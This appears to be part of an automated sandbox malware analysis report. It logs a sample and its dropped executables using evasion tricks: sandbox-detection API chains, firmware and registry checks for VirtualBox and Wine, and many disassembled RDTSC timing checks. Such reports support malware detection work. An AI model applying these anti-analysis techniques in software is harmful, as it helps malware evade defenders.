Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found API chain indicative of sandbox detection

Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe

Sandbox detection routine: GetForegroundWindow, DecisionNode, Sleep

graph_11-95557

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Evasive API call chain: GetPEB, DecisionNodes, Sleep			graph_6-37332
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess			graph_1-9708

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	System information queried: FirmwareTableInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	System information queried: FirmwareTableInformation			Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4F8C1 second address: A4F8C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4F8C6 second address: A4F8CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB8A44 second address: BB8A6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push eax 0x00000007 pop eax 0x00000008 jmp 00007F0F34BEC159h 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 pop eax 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC96DF second address: BC9701 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F0F345319E6h 0x0000000a pop ebx 0x0000000b pop esi 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F0F345319F1h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC9701 second address: BC9705 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC997B second address: BC9981 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC9981 second address: BC9985 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC9985 second address: BC99A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0F345319EDh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop eax 0x0000000c push eax 0x0000000d jne 00007F0F345319F9h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC9AE3 second address: BC9AE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC9AE9 second address: BC9AEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC9D54 second address: BC9D5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC9D5F second address: BC9D65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC9D65 second address: BC9D69 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC9E95 second address: BC9ED8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0F345319F9h 0x00000009 popad 0x0000000a pushad 0x0000000b push esi 0x0000000c pushad 0x0000000d popad 0x0000000e pop esi 0x0000000f jng 00007F0F345319EAh 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F0F345319F4h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC9ED8 second address: BC9EF5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F34BEC159h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCCF8D second address: BCCF92 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCCF92 second address: BCCFAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [eax] 0x00000009 jmp 00007F0F34BEC14Bh 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 push esi 0x00000016 pop esi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCCFAF second address: BCCFBC instructions: 0x00000000 rdtsc 0x00000002 je 00007F0F345319E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCCFF7 second address: BCCFFB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCD174 second address: BCD198 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F345319F3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F0F345319EBh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCD198 second address: BCD209 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 add dword ptr [esp], 6603B300h 0x0000000e mov edx, dword ptr [ebp+122D1CE1h] 0x00000014 jmp 00007F0F34BEC14Fh 0x00000019 push 00000003h 0x0000001b mov ecx, dword ptr [ebp+122D3DDCh] 0x00000021 push 00000000h 0x00000023 and edx, 72EB46EEh 0x00000029 push 00000003h 0x0000002b jmp 00007F0F34BEC157h 0x00000030 push 6887205Fh 0x00000035 js 00007F0F34BEC16Eh 0x0000003b push eax 0x0000003c push edx 0x0000003d jmp 00007F0F34BEC158h 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCD209 second address: BCD27C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F345319EAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 5778DFA1h 0x00000010 push ebx 0x00000011 mov ecx, dword ptr [ebp+122D3E44h] 0x00000017 pop edi 0x00000018 push eax 0x00000019 mov edx, dword ptr [ebp+122D3DACh] 0x0000001f pop ecx 0x00000020 lea ebx, dword ptr [ebp+12451E5Fh] 0x00000026 jmp 00007F0F345319F2h 0x0000002b mov esi, dword ptr [ebp+122D39CCh] 0x00000031 xchg eax, ebx 0x00000032 jmp 00007F0F345319F9h 0x00000037 push eax 0x00000038 push eax 0x00000039 push edx 0x0000003a pushad 0x0000003b js 00007F0F345319E6h 0x00000041 jmp 00007F0F345319EBh 0x00000046 popad 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCD27C second address: BCD286 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F0F34BEC14Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCD35F second address: BCD3BC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ebx 0x0000000b call 00007F0F345319E8h 0x00000010 pop ebx 0x00000011 mov dword ptr [esp+04h], ebx 0x00000015 add dword ptr [esp+04h], 00000015h 0x0000001d inc ebx 0x0000001e push ebx 0x0000001f ret 0x00000020 pop ebx 0x00000021 ret 0x00000022 sub dword ptr [ebp+122D1CDCh], ecx 0x00000028 push 00000000h 0x0000002a push 00000000h 0x0000002c push ebx 0x0000002d call 00007F0F345319E8h 0x00000032 pop ebx 0x00000033 mov dword ptr [esp+04h], ebx 0x00000037 add dword ptr [esp+04h], 00000017h 0x0000003f inc ebx 0x00000040 push ebx 0x00000041 ret 0x00000042 pop ebx 0x00000043 ret 0x00000044 xor dword ptr [ebp+122D263Dh], eax 0x0000004a push 5D5FCE2Fh 0x0000004f push eax 0x00000050 push edx 0x00000051 push eax 0x00000052 push edx 0x00000053 push eax 0x00000054 push edx 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCD3BC second address: BCD3C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCD3C0 second address: BCD3C6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BED3D3 second address: BED419 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F34BEC154h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F0F34BEC157h 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jc 00007F0F34BEC148h 0x00000017 js 00007F0F34BEC14Ch 0x0000001d je 00007F0F34BEC146h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BEB304 second address: BEB32C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0F345319EFh 0x00000009 popad 0x0000000a push ecx 0x0000000b jmp 00007F0F345319ECh 0x00000010 jbe 00007F0F345319E6h 0x00000016 pop ecx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BEB479 second address: BEB47E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BEB47E second address: BEB48C instructions: 0x00000000 rdtsc 0x00000002 jne 00007F0F345319E8h 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BEBD51 second address: BEBD6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F0F34BEC146h 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F0F34BEC151h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BEBD6F second address: BEBD75 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BEBD75 second address: BEBD7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BEBD7B second address: BEBD80 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BEBD80 second address: BEBD86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BEBD86 second address: BEBD99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F0F345319EAh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BEC193 second address: BEC19D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB5457 second address: BB5467 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F0F345319EAh 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BECA41 second address: BECA47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BECA47 second address: BECA60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0F345319F5h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BECA60 second address: BECA64 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BECA64 second address: BECA78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BECA78 second address: BECA7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BECA7C second address: BECA84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BECA84 second address: BECAA8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F34BEC154h 0x00000007 pushad 0x00000008 jmp 00007F0F34BEC14Bh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BECAA8 second address: BECAAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BECC1B second address: BECC2E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F0F34BEC14Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BECF68 second address: BECF6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BECF6C second address: BECF73 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BED24C second address: BED250 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BED250 second address: BED258 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BED258 second address: BED281 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 jmp 00007F0F345319EEh 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F0F345319F1h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BEE87F second address: BEE885 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BEE885 second address: BEE889 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BEE889 second address: BEE88D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BEE88D second address: BEE8A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jg 00007F0F345319E8h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF175E second address: BF1762 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF1762 second address: BF1766 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF811A second address: BF8124 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F0F34BEC146h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF8124 second address: BF812A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF812A second address: BF8130 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF8130 second address: BF8137 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF7842 second address: BF7857 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0F34BEC150h 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF79CA second address: BF79D4 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F0F345319E6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF7CAA second address: BF7CCB instructions: 0x00000000 rdtsc 0x00000002 jng 00007F0F34BEC163h 0x00000008 jmp 00007F0F34BEC157h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF7F99 second address: BF7FB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0F345319F6h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFABC6 second address: BFABD1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007F0F34BEC146h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFABD1 second address: BFABE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 jbe 00007F0F345319ECh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFB0B2 second address: BFB0B9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFB19C second address: BFB1A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F0F345319E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFB671 second address: BFB676 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFC07C second address: BFC080 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFC080 second address: BFC0A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a mov esi, dword ptr [ebp+122D3F5Ch] 0x00000010 push 00000000h 0x00000012 xor si, E10Bh 0x00000017 push 00000000h 0x00000019 adc di, 30A6h 0x0000001e xchg eax, ebx 0x0000001f push eax 0x00000020 pushad 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFD9EA second address: BFDA6A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F345319F6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push ebx 0x00000010 call 00007F0F345319E8h 0x00000015 pop ebx 0x00000016 mov dword ptr [esp+04h], ebx 0x0000001a add dword ptr [esp+04h], 00000016h 0x00000022 inc ebx 0x00000023 push ebx 0x00000024 ret 0x00000025 pop ebx 0x00000026 ret 0x00000027 sub dword ptr [ebp+122D1D02h], edx 0x0000002d push 00000000h 0x0000002f cmc 0x00000030 push 00000000h 0x00000032 push 00000000h 0x00000034 push eax 0x00000035 call 00007F0F345319E8h 0x0000003a pop eax 0x0000003b mov dword ptr [esp+04h], eax 0x0000003f add dword ptr [esp+04h], 00000014h 0x00000047 inc eax 0x00000048 push eax 0x00000049 ret 0x0000004a pop eax 0x0000004b ret 0x0000004c mov esi, dword ptr [ebp+122DBC8Bh] 0x00000052 xchg eax, ebx 0x00000053 push eax 0x00000054 push edx 0x00000055 push edx 0x00000056 jmp 00007F0F345319F2h 0x0000005b pop edx 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFD1E9 second address: BFD1EF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFD1EF second address: BFD1F4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFE503 second address: BFE51B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0F34BEC153h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFD1F4 second address: BFD1FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
